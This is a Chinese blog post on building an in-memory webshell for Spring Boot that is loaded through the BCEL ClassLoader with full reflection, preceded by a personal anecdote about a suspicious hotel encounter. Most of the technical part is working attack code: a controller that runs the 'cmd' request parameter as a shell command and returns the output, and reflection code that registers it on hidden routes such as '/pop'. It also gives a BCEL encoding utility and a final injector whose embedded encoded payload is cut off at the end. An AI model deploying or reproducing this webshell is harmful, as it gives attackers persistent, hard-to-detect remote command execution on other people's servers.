一、回顾BCEL字节码
文章在先知社区首发
BCEL-ClassLoader赛博学习
懒狗写过一篇文章。所以就不多说BCEL字节码是个啥了。BCEL加载类有一个特点,只可以加载jdk原生的类,比如spring下面的所有类,都会报错ClassnotFound的错误。因此全反射诞生~
但是很遗憾的告诉大家,BCEL的ClassLoader在8u252后告别了大家~
但谁会用那么高版本的jdk呢^ ^
[*]、惊险小插曲
现在是8.10 凌晨三点,我十二点下的飞机,最晚本来一点多就该到酒店了,可是经历了一次惊险的逃亡。由于是定的机票捆绑了机场酒店,我也没多想,就直接去了,结果到那是十二点半。酒店前台灯全是关的,也就是漆黑一片,当我怀疑被骗了的时候我打了一下高德地图里面酒店的电话。结果捏,酒店门口不是停了一些车子。车子上面有人看到我打了电话,下来了一个人。问我是不是入住的。我很爽快的说,yes sir。结果第一件事情是递我一根烟,让我出示身份证,到目前一切正常,拿到我身份证也不打开电脑核对,瞎几把看了一圈我的身份证后他妈和我说酒店住满了,要带我换酒店,到这里我的警觉神经就拉满了,我试探性问了一句去那个酒店。他随口来一句:如意酒店。我摸摸搜了一下,就在对面200米,但他让我上他的车,他送我。然后我说不用了,多麻烦,我自己走过去,他坚持要送我,然后夺命三连问:”你是本地人?”,”你几个人来的?”,”你家在哪?”。好家伙还查我户口,那我必然说是本地人,家在附近只是过个夜。
这里多亏我到目的后第一件事不是入住酒店,而是点一波烧烤。。。。而且好在烧烤师傅烤的贼几把烂,烤好久没烤好,我就说,你先等我一下,我先吃完烧烤。他说行,然后回到车子上。还给烧烤师傅和我都低了一根烟(现在我复盘,什么酒店老板会给烟的?他妈的他压根可能就不是老板)。在这时候,我就直接高德地图叫了个车,运气好,四分钟就到,而且我一直不让那byd发现我点了车,一直在烧烤店旁边周旋,假装在等烧烤(现在我他吗发现烧烤店老板肯定也是知道那个男的不是酒店老板,都在那里100米之内的店铺,老板是谁怎么可能不知道啊?不告诉我就说明有鬼啊)。然后车到了,我直接结账烧烤,就算烧烤没考好我也开润了。您猜怎么着,我猜对了,看到我马不停蹄的上车,烧烤店的老板也不问我要不要烧烤,那个车里的人看到我也不问我咋回事,就放我跑了。
最骚的是什么,等我到了市中心的一个全季酒店后,我继续拨打了刚刚没打通的前台电话,一阵ob下来,他说他们在房间休息,前台没人。我说那刚刚的老板是谁,他们说不认得。果然机场酒店不能随便住,最好也别晚上的航班了,还是一个人。给我整的人都是懵逼的。byd还好我跑得快,不然我不知道那b东西想干嘛。都2023年了,不会吧不会吧。
真是惊险,也是倒霉,怎么遇上这事情呢。我测试他的
二、正常的注入流程
抛开这个小插曲
回顾一下咱们正常的SpringBoot内存马。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.Modifier;
public class InjectToController extends AbstractTranslet {
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException, InstantiationException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = InjectToController.class.getMethod("test"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = RequestMappingInfo.paths("/boo") .options(config) .build(); InjectToController springControllerMemShell = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public InjectToController(String aaa) {}
public void test() throws IOException{ HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ response.sendError(404); } }catch (Exception e){} }
}
|
这里是正常的springboot内存马。我们重温一下来解构一下内存马的几个重要组成部分。
Context
我们肯定都是需要获取到上下文才有后续的一些操作,这里我们用的是一种比较通用的获取上下文
1
| WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
|
从上下文中我们可以获取自动注册的Bean,接着就可以进一步的利用了。
恶意Function
恶意function也就是我们命令执行的方法了。上述内存马用着的方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ response.sendError(404); } }catch (Exception e){} } 2
|
会判断操作平台,是linux还是windows,方便我们设置木马的编码。
用的是一个比较通用的回显方法,用scanner去输出。对于windows平台scanner需要做一下编码处理
1
| java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema");
|
加上gbk的编码即可。然后response.setCharacterEncoding("gbk");
设置response响应的编码,就可以避免中文乱码了。
RequestMappingHanlder
内存马最重要的部分就是他了,我们后续也是围绕着它展开,MappingHandler是我们添加恶意方法路由的地方。我们最终都是为了获取到它,然后将我们的恶意类绑定到指定的路由,对应内存马的
1 2 3 4 5 6 7 8
| RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = InjectToController.class.getMethod("test"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = RequestMappingInfo.paths("/boo") .options(config) .build(); InjectToController springControllerMemShell = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
|
这几行代码完成了恶意路由的创建和注册。
这三个部分就是内存马的核心。我们接下来围绕这个展开。
三、BCEL环境下注入构造
网上的文章几乎没有,所以需要自己多尝试
前面也说了,BCEL环境下只可以加载jdk原生的东西,所以有关其他依赖比如spring的依赖。我们只可以通过反射去调用,也称为”全反射”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package com.example.spel.controller;
import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class BcelInjectToController {
public BcelInjectToController() {
}
public void shell() throws Exception{ ClassLoader springLoader = Thread.currentThread().getContextClassLoader(); Method currentRequestAttributesMethod = springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes"); Object RequestFace = currentRequestAttributesMethod.invoke(springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder")); Method getRequest = RequestFace.getClass().getDeclaredMethod("getRequest"); Object request = getRequest.invoke(RequestFace); Method getResponse = RequestFace.getClass().getDeclaredMethod("getResponse"); Object response = getResponse.invoke(RequestFace); Method getParameter = request.getClass().getDeclaredMethod("getParameter",String.class); Method getWriter = response.getClass().getDeclaredMethod("getWriter"); Method sendError = response.getClass().getDeclaredMethod("sendError",int.class); try { String cmd= (String) getParameter.invoke(request,"cmd"); PrintWriter writer= (PrintWriter) getWriter.invoke(response); if (cmd != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", cmd}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ sendError.invoke(response,404); } }catch (Exception e){ System.out.println("Boogipop Error~"); } } private static Object getFV(Object o, String f) throws Exception { Field var2 = null; Class var3 = o.getClass();
while (var3 != Object.class) { try { var2 = var3.getDeclaredField(f); break; } catch (NoSuchFieldException var5) { var3 = var3.getSuperclass(); } }
if (var2 == null) { throw new NoSuchFieldException(f); } else { var2.setAccessible(true); return var2.get(o); } } private static Object getMV(Object o, String m) throws Exception { Method var2 = null; Class var3 = o.getClass();
while (var3 != Object.class) { try { var2 = var3.getDeclaredMethod(m); break; } catch (NoSuchMethodException var5) { var3 = var3.getSuperclass(); } }
if (var2 == null) { throw new NoSuchMethodException(m); } else { var2.setAccessible(true); return var2.invoke(o); } } }
|
内存马部分
先从当前线程获取一个classloader,方便我们之后反射获取类。
这一步获取到了WebAppClassLoader。然后我们回顾正常注入内存马的第一部,就是获取currentRequestAttributesMethod
方法,然后反射调用。
这里可以看到request和response,但他们都有个后缀Facade
RequestFacade是对Request的一个封装,所以获取到他我们也可以进行一系列的处理。
到这里把所有用到的方法全部反射获取完后
直接就这样输出就行了。springboot的全反射内存马相对还是比较简洁的。
注入部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| ClassLoader springClassload = Thread.currentThread().getContextClassLoader();
Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); resourcesField.setAccessible(true); Object standardcontext = resourcesField.get(Thread.currentThread().getContextClassLoader()); Field contextField = standardcontext.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object TomcatEmbeddedContext = contextField.get(standardcontext); Field context2Field = TomcatEmbeddedContext.getClass().getSuperclass().getDeclaredField("context"); context2Field.setAccessible(true); Object ApplicationContext = context2Field.get(TomcatEmbeddedContext); Field attributesField = ApplicationContext.getClass().getDeclaredField("attributes"); attributesField.setAccessible(true); ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(ApplicationContext); Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT"); Method getBean = springClassload.loadClass("org.springframework.context.support.AbstractApplicationContext").getDeclaredMethod("getBean", Class.class); Object requestMappingHandlerMapping = getBean.invoke(springRoot, RequestMappingHandlerMapping.class); Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); Object config = configField.get(requestMappingHandlerMapping); Method paths = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getDeclaredMethod("paths", String[].class); Method options = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("options", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$BuilderConfiguration")); Method build = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("build"); paths.setAccessible(true); options.setAccessible(true); build.setAccessible(true); Object builder1 = paths.invoke(springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), (Object)new String[]{"/pop"}); Object builder2 = options.invoke(builder1, config); Object requestMappingInfo = build.invoke(builder2); BcelInjectToController springControllerMemShell = new BcelInjectToController(); Method shell = BcelInjectToController.class.getMethod("shell"); Method registerMapping = springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping").getDeclaredMethod("registerMapping", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), Object.class, Method.class); registerMapping.setAccessible(true); registerMapping.invoke(requestMappingHandlerMapping,requestMappingInfo,springControllerMemShell,shell); System.out.println("inject successfully");
|
我们需要获取到上述说到的核心,也就是context上下文,这里通过一系列的迭代获取springRoot
上下文,再做接下来的处理。这一部分最重要的是获取到RequestMapping,因为spring的controller内存马都是依托这个的
获取到ApplicationContext,在这里其实可以做其他处理,比如注入tomcat内存马(通杀)。这个大家都不陌生,但这里是springboot,我们就按照spring内存马来。然后就是要获取spring的上下文对象
attributesMap属性里有这个键值,取出来就好。接下来调用getbean方法,因为RequestMapping本身就被当做bean注册了。刚刚获取到的ROOT上下文实际上是AnnotationConfigServletWebApplicationContext
他是AbstractApplicationContext
的实现类,所以有getBean方法可以直接获取,很方便。
最终也是成功获取requestmapping,后续就是反射注册路由了,有个比较坑的地方就是paths方法
是可变的字符串类型,反射获取类方法时用字符串数组就行,关键是反射触发的时候要强转为Object
然后就是注册恶意方法了,这里也有个坑,就是BCEL其实是不会识别内部类的,所以这里我为了演示直接把恶意的Controller注册为一个类
然后反射触发就行了。实际上我们需要把一开始的内存马编译为BCEL字节码,然后用BCEL加载器加载,然后再反射获取这个类的方法,再注册。
四、完整的BCEL内存马注入
上述不是说需要先转为BCEL字节码吗。
注入路由准备如下
1 2 3 4
| @RequestMapping("/b1") public void inject(String code) throws ClassNotFoundException, InstantiationException, IllegalAccessException { new ClassLoader().loadClass("$$BCEL$$"+code).newInstance(); }
|
很简洁的一个加载,首先把刚刚第一个内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| package com.example.spel.controller;
import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class BcelInjectToController {
public BcelInjectToController() {
} public BcelInjectToController(String aaa) {
} public void shell() throws Exception{ ClassLoader springLoader = Thread.currentThread().getContextClassLoader(); Method currentRequestAttributesMethod = springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes"); Object RequestFace = currentRequestAttributesMethod.invoke(springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder")); Method getRequest = RequestFace.getClass().getDeclaredMethod("getRequest"); Object request = getRequest.invoke(RequestFace); Method getResponse = RequestFace.getClass().getDeclaredMethod("getResponse"); Object response = getResponse.invoke(RequestFace); Method getParameter = request.getClass().getDeclaredMethod("getParameter",String.class); Method getWriter = response.getClass().getDeclaredMethod("getWriter"); Method sendError = response.getClass().getDeclaredMethod("sendError",int.class); try { String cmd= (String) getParameter.invoke(request,"cmd"); PrintWriter writer= (PrintWriter) getWriter.invoke(response); if (cmd != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", cmd}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ sendError.invoke(response,404); } }catch (Exception e){ System.out.println("Boogipop Error~"); } } private static Object getFV(Object o, String f) throws Exception { Field var2 = null; Class var3 = o.getClass();
while (var3 != Object.class) { try { var2 = var3.getDeclaredField(f); break; } catch (NoSuchFieldException var5) { var3 = var3.getSuperclass(); } }
if (var2 == null) { throw new NoSuchFieldException(f); } else { var2.setAccessible(true); return var2.get(o); } } private static Object getMV(Object o, String m) throws Exception { Method var2 = null; Class var3 = o.getClass();
while (var3 != Object.class) { try { var2 = var3.getDeclaredMethod(m); break; } catch (NoSuchMethodException var5) { var3 = var3.getSuperclass(); } }
if (var2 == null) { throw new NoSuchMethodException(m); } else { var2.setAccessible(true); return var2.invoke(o); } } }
|
编译为BCEL字节码,这个的话可以写一个util去编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.example.spel.util;
import com.example.spel.controller.BcelInjectToController; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility;
import javax.security.auth.login.Configuration; import java.io.IOException;
public class ClassToBcel { public static String ConvertToCode() throws IOException { JavaClass javaClass= Repository.lookupClass(BcelInjectToController.class); String code= Utility.encode(javaClass.getBytes(),true); code+="$$BCEL$$"; System.out.println(code); return code; }
public static void main(String[] args) throws IOException { String s = ConvertToCode(); System.out.println(s); } }
|
最后的内存马如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.example.spel.controller; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.concurrent.ConcurrentHashMap;
public class BcelSpringMemShell {
public BcelSpringMemShell(String aaa) {}
public BcelSpringMemShell() throws Exception{ ClassLoader springClassload = Thread.currentThread().getContextClassLoader();
Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); resourcesField.setAccessible(true); Object standardcontext = resourcesField.get(Thread.currentThread().getContextClassLoader()); Field contextField = standardcontext.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object TomcatEmbeddedContext = contextField.get(standardcontext); Field context2Field = TomcatEmbeddedContext.getClass().getSuperclass().getDeclaredField("context"); context2Field.setAccessible(true); Object ApplicationContext = context2Field.get(TomcatEmbeddedContext); Field attributesField = ApplicationContext.getClass().getDeclaredField("attributes"); attributesField.setAccessible(true); ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(ApplicationContext); Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT"); Method getBean = springClassload.loadClass("org.springframework.context.support.AbstractApplicationContext").getDeclaredMethod("getBean", Class.class); Object requestMappingHandlerMapping = getBean.invoke(springRoot, springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")); Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); Object config = configField.get(requestMappingHandlerMapping); Method paths = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getDeclaredMethod("paths", String[].class); Method options = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("options", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$BuilderConfiguration")); Method build = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("build"); paths.setAccessible(true); options.setAccessible(true); build.setAccessible(true); Object builder1 = paths.invoke(springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), (Object)new String[]{"/pop"}); Object builder2 = options.invoke(builder1, config); Object requestMappingInfo = build.invoke(builder2); Object bcelclassLoader = springClassload.loadClass("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance(); Method loadClassmethod = bcelclassLoader.getClass().getMethod("loadClass", String.class); Class Memshell= (Class) loadClassmethod.invoke(bcelclassLoader,"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$JtTW$Z$fen2$93$f7f$e6$r$q$TH$98$40$cb$o$84$ecS$c2$o$q$40$T$C$b1i$93$902$U$I$b4$c5$97$c9K20$997$bcy$93$80K$b5$ae$d5Z$d7V$c4$7d$abqA$zX$H$y$d0R$95V$ebR7$dck$5d$ab$d6$e5$i$cf$d1s$f4$9cj$fd$ee$7b$938$93L$ca1gr$df$bd$ff$ff$df$ff$fe$cb$f7$ff$ef$be$t$fe$f3$d0$c3$A$d6$e3$af$7e$f8$f0J$3f$ee$c0$ab$e4$f0j$Vw$fa$f1$g$bcV$c5$eb$U$bc$de$P$FoP$f0F$3f$ee$c2$9b$a4$e4$9bU$MJ$e2$dd$w$O$aa$b8M$c1$5bT$dc$ae$e2$90$P$f7$e0$ad$w$fa$V$bcM$c5$dbU$bc$c3$8fw$e2$5d$7e$94$e3$5e$V$f7$c9$e7$bb$V$9cP$f1$k$V$t$fdX$8a$f7$aax$9f$8a$f7$x$f8$80$5c$7d$d0$8f$P$e1$c3$7e$ac$c4GT$7cT$3e$3f$s$87$8f$cb$e1$7e9$7c$c2$8fE$98$92$c3$t$e5$c0$e5$3d$f8$94$82O$fbx$cagT$9c$f2$e3$b3$f8$9c$b4$eb$f3$K$k$90$cf$d3$7e$fav$c6$8f$_$e0A9$7cQA$c6$8f$cd$92r$X$kTpV$a0dK$y$R$b3$b7$J$U$d7$d5$ef$V$f0t$99$c3$86$c0$82$deX$c2$e8O$8f$P$Z$d6$k$7d$uNJ$b0$d7$8c$ea$f1$bd$ba$V$93$eb$y$d1c$8f$c5R$C$eb$7b$a3$e6x$d88$a6$8f$t$e3F8$954$e2$e1$a8$99$b0$z3$k7$ac$f0$f6$a8$R$efI$i6$a2$f6$k$b3k$86$dc$$$b0$a8$ae$f7$b0$3e$a1$87$e3zb4$i$b1$adXb$b4$5d$daP$ac$eb$ba$3cp$OS$a0$bc$cf$b0$c7$cc$e1$B$dd$d2$c7$N$db$b0x$b875f$c4$e3$C$o$vP$93$b3g$c02$a3F$w$b5$3d$j$8b$P$3b$c7$J$93$ffQ$81JW$um$c7$e2$e1HTO$q$inqt$7c$98$d1$98$b4bTK$db$5c$a1$98I$3d$b1$84$bd$cf$nK$r$c6$M$cf9e$e7$b1$a8$91$b4cf$82$3c$z$95$94f$f6$9a$fa$b0TQ$9d$p$d6$V$d7S$v$97A$c1k$a3i$cb2$S$f6n$e3h$daH$d9$9d6$dd$hJ$dbF$ca$f5$$$df$P$cb$Y$893va$97$c7$dd$81$ec$b6n$3dj$e4$87i$d7$90$8c2E$fc$a3$c6$b4r$B$c5$9a$9e$F$ir$wi$sR$dc$a9Z3S$8d$8c$99$98$K$f8$b8$dc$97$N$84$_e$q$86wZ$96$c9yi$c4$d6$a3G$fa$f4$a4$93$7e$c2G$c19$F_ba$b0$A$IyB$9bH$s$ki$c1L$60d$8a$a8$af$9b$89$ddT7$d7$d8$C$Q$u$e4$91gB$b76$I$y$cf$e1$f5$9b$91tt$ac$3bf$c4$87s$b3$mF$5c$e9V$81P$810$3a$f2Y$85$eb$E$wf$t$a9$5d$c1C$acx$d6$8fkw$l$ed$5e1$e7T7$Zy$c7$8e$b3$b6$e8w$c4L$5bQ$a3$3b$s$cbcIa$e8$b7Hm$g$b6b$9b$82$f3$g$$$e0$a2$86$87$f1$88$c0$W$d3$gmqA4$o$931iZGZ$s$8d$a1$WYM$c61$bb$r$9b$c9$96ln$bb$5c$f2$N$a6D8s$a1$e1$S$k$VX$3c$l$bcX$d7$b3$bc$d5$f0e$7c$85e5$3b$e2$cc$aa$86$af$e2$b2$86$c7$f0$b8$86$af$cd$Sr3$a5$e0$eb$g$9e$A$d5V$W$u$W$B$Q$7bf$aa$rAO$U$7cC$c37$f1$z$N$df$c6$93$y$b6$c9XB$c3w$f0$5d$g$3b_$c5r3K$b2$c58$c6$40$W$85$a32$5e$df$p$z$3c$UK$84Sc$a45$b3$96$x$e6$94$b2$86$ef$e3$H$K$aeh$f8$n$7e$q7$fd$98$b9$e9$d4$f0$T$fcT$c3$cf$f0s$NO$e1I$N$bf$c06$NOc$87$86_$ca$d9$af$f0$ebi$_$f2$cbZ$c3o$f0$5b$c6m$bbi$8e$c6$92fr$b9S$Kw$u$f8$9d$86g$e4$f6$df$e3$P$y$e8$XF$a5$86$3f$ca$un$c5$O$82K$c3$b3$f8$93$86$3f$e3$_$C$cb$ae$82$x$81$d6$ff$bf$b3$b2A$Vl$3cy$b1$ce$ef$wlV$f3TJ$5e$da$f7$8cY$86NRi$W$60$d3$eb$85u$b95$ebRe$7fg$f9d$n$9agF$uO$3c$bf5$fa$e2$9c9$q$81$d5$85$de$Ps$ea$d5mW$d3$7et$U$d8sp$ce$9e$fa$X$ea$af$r$b1$c4$84y$84$a8$db$5c$a0$5d$j$9cK$w$d8$afT$e9$bb$ebF$e5$5cw$vPA$81$jF4$ae$5b$c6$f0$b4$f1$V$ff$T$eba$d8Fe$b0$3c$7b$G$Hv$e6$X$df$f1$94m$8c$bb$dd$9c$r$934$y$fb$b8$40$edU$825$f3$K$N$d8f$af9iX$5d$ba$ec$fc$f9$a9$9b$RR$r$ca$f4$98l$deKr$Vw$8d$e9VD$b6$95D$d4h$af$3f$mPUw$b0$f0K$dc$9b$b2u$cb$96$_$f9$fa$b9$_$e5$f6$3c_$b3D$812z$d4$93H$a6m$ea1t$baX$3d$bd$99$ad$r$87$c1$ed$8b$eb$K2$e4$c9Z$3ae$ec0$e2$b1q$b7$L$ad$99$3f0$b3$ae$A$ca$98$9e$ea$tX$9d$bb$Q$7d$f3$q$9c$857$g7e$a8$bc$ce$dd$80$cf$91xZ6$meB$8f$a7$8d$5d$p2$I$3d$b9Nfs$t$_$Vf$da$9es$97$98$f1$a1$b2$A$99je$ff$b7$e3$ac$fd$f2$i$88d$8b$b1$f9$wY$9e$fd$96$x$a5$8aH$9a$Q$89$baX$yM$ZvgTF$3b$e6$5e$e0$ea$O87$$$8a$cd$82$d0$fc$e0$c6$Kl$e1$VX$fey$d9$e2$f9$g$e3x$3dW$eb$f8$U$92$dap$W$e24$tE$e8$e0$e8$e7$T$dc$e0A$A$9d$9ci$ae$Q$b6$a3$Lp$U$ec$a0$84T$b0$95$ab$a2$f9$UhTP$e6$u$a8r$85$b2$K$e4l$t$ba$b9$f5$rr$$$b8$90Zo$a0Y$8e$d6$e2$w$94$f0$de$N1q$OE$Z$U$f76$G$3d$Zx$83$r$c5$X$a1d$a0$f65$b9$E$$$7d$Z$f8$fb$9b3$I$E5$97Y$da$e6$Jy$9a$b3$9c6$af$c3$w$9bf$95$84JfXJ$c8$xy$L$3c$e4$N$W$H$cb$pR$40$N$v$92X1$bd$c1$e7$ae$83$ae$d0$ZT$3aR$fe$90$g$f2$92$e4$e3$be$85$a4$f8$_$a1$bc$z$Q$a2pV$f9$r$yj$d3B$81$c7p_$b0$aa$ad4X$7d$O$8b3$I$Fk2Xr$S$x$cfc$e9$60$c9E$94s$f75$91AO$f0$da$c8$a07$U$88$9c$c5$b2$b6$b2$v$y$cba$_$97$ec$V9$ec$f3X9$Y$w$cb$e0E$Z$ac$3a$8b$d5$c1$da$M$d6$b4$z$I$z$c8$a0$ee$q$C$f2Y$3f$Fo$a8$b4$adT$ce$hBZ$a84$83$c6$90$96A$93$i$9a$a7$b08$e4$P$v$ae$ed$V$e2$desh$91$f6$ef$9b$a2W$813$b8$$$b86$83$d6$d3$cc$c5$J1$s$8e$m$8cb$t$9d$T$b8$86c9$bfN$wP$8d$mjQ$89$NX$c8$d4$$$c2$A$93$7b$x$a9G$b1$Yw$o$84$T$fc$w$3aE$f9$L$b8$W$8fb$Z$$$T$7cW$f8$n$f4w$ac$S$e5$a8$V$b5X$p$daP$t$aeG$bd$e8F$83$b8$J$8db$AM$o$82$W1$86V$9ez$9d$Y$c7Z$91$s8$rt2$3c$efo$b4$a3$H7$SL$97q7n$otJ$a9$ab$c3$a5Qc$Dz$d1$87$F$3c$f7$C$fa$c9$N$f0y$K$bbh$9bF$5d$wn$c6n$d2$88$a7$y$A$Va$o$82$3d$f4$b3Z$i$c2$z$d8K$dc$d5$d2$8a$7d$d8$cf$936$88N$M$92$e6A$a7$d8$80$D$a4y1$c0S$O$92V$82$5bE$N$fd$dd$cfX$i$V$5e$dcF$g$3f$3c$f1$P$dc$ce$99$8f$de$3f$8dC$9c$f9$f1R$9e$d3$P$f5y$3a$5e$a6$40W0$